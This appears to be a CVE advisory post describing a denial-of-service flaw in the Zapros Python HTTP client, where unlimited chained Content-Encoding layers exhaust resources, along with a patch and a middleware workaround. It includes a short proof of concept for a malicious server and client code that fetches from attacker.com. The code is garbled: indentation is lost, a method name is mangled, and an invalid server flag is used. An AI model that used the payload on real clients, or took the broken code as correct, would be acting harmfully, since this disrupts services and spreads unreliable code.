Zapros, Unbounded Content-Encoding Decompression Chain Denial of Service, CVE-2026-61541 (Medium) -DC-Sep2026-2532

Listen to this Post

Zapros is a Python HTTP client library that handles HTTP requests and responses, including content decoding based on the `Content-Encoding` header. In versions prior to 0.14.0, the library fails to limit the number of content-encoding layers it will process. When a server returns a response with multiple chained `Content-Encoding` values (e.g., gzip, gzip, gzip, ...), Zapros constructs a decoder chain by wrapping each layer sequentially. An attacker-controlled server can send a response with an excessive number of encoding layers, causing the client to build a deeply nested decompression chain. This recursive processing consumes significant CPU and memory resources as the depth increases, potentially leading to application crashes, severe performance degradation, or stack overflow. The vulnerability resides in the `Response._get_content_decoder` method, which splits the `Content-Encoding` header by comma and creates a decoder for each supported encoding, passing them to a `MultiDecoder` that decompresses in reverse order without any upper bound on the layer count. This flaw aligns with CWE-400 (Uncontrolled Resource Consumption). The attack does not require authentication and can be executed remotely over the network, making it a straightforward vector for disrupting service availability. Applications that use Zapros to fetch content from untrusted servers or that follow redirects to attacker-controlled hosts are impacted. The vulnerability is patched in version 0.14.0, which introduces a hardcoded limit of five content-encoding layers and raises a `DecodingError` when the limit is exceeded.

DailyCVE Form:

Platform: Zapros
Version: <0.14.0
Vulnerability: DoS
Severity: Medium
date: 2026-09-21

Prediction: 2026-09-21

What Undercode Say

Analytics

pip install zapros==0.13.0
python -c "from zapros import Client; c = Client(); r = c.get('http://attacker.com/malicious'); print(r.text)"
from zapros import Client, Response
def check_content_encoding(response: Response, max_layers: int = 5) -> None:
encoding_header = response.headers.get("Content-Encoding")
if not encoding_header:
return
layers = [enc.strip().lower() for enc in encoding_header.split(",") if enc.strip()]
if len(layers) > max_layers:
raise DecodingError(f"Too many Content-Encoding layers ({len(layers)}), maximum is {max_layers}")
client = Client()
response = client.get("http://untrusted-server.com/data")
check_content_encoding(response)

How Exploit: (Educational Purposes!)

Simulate a malicious server that returns excessive Content-Encoding layers
python -m http.server 8080 --header "Content-Encoding: gzip, gzip, gzip, gzip, gzip, gzip, gzip, gzip, gzip, gzip"
Vulnerable client code (Zapros < 0.14.0)
from zapros import Client
client = Client()
This will attempt to decode 10 layers of gzip, causing resource exhaustion
response = client.get("http://localhost:8080/")
print(response.text)

Protection: from this CVE

Upgrade to the patched version
pip install --upgrade zapros>=0.14.0
Middleware workaround for applications unable to upgrade immediately
from typing import cast
from zapros import (
AsyncBaseHandler,
AsyncBaseMiddleware,
BaseHandler,
BaseMiddleware,
Client,
DecodingError,
Request,
Response,
)
MAX_DECODE_LAYERS = 5
class ContentEncodingCheckMiddleware(BaseMiddleware, AsyncBaseMiddleware):
def <strong>init</strong>(
self,
next_handler: BaseHandler | AsyncBaseHandler,
,
max_layers: int = MAX_DECODE_LAYERS,
) -> None:
self.next = cast(BaseHandler, next_handler)
self.async_next = cast(AsyncBaseHandler, next_handler)
self._max_layers = max_layers
def _check(self, response: Response) -> None:
encoding_header = response.headers.get("Content-Encoding")
if not encoding_header:
return
layers = [enc.strip().lower() for enc in encoding_header.split(",") if enc.strip()]
if len(layers) > self._max_layers:
raise DecodingError(f"Too many Content-Encoding layers ({len(layers)}), maximum is {self._max_layers}")
def handle(self, request: Request) -> Response:
response = self.next.handle(request)
self._check(response)
return response
async def ahandle(self, request: Request) -> Response:
response = await self.async_next.ahandle(request)
self._check(response)
return response
with Client().wrap_with_middleware(lambda next: ContentEncodingCheckMiddleware(next)) as client:
...

Impact:

  • Who is impacted: Any application using Zapros to make HTTP requests to untrusted servers. Applications that follow redirects to attacker-controlled hosts.
  • Attack vector: A malicious HTTP server returns a response with many chained content encodings. When the client attempts to decode, it creates a deeply nested decompression chain consuming excessive resources.
  • Patches: Fixed in version 0.14.0. The fix adds a hardcoded limit of 5 Content-Encoding layers. Responses exceeding this limit raise DecodingError.
  • Workarounds: Add middleware that checks for a malicious `Content-Encoding` header.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top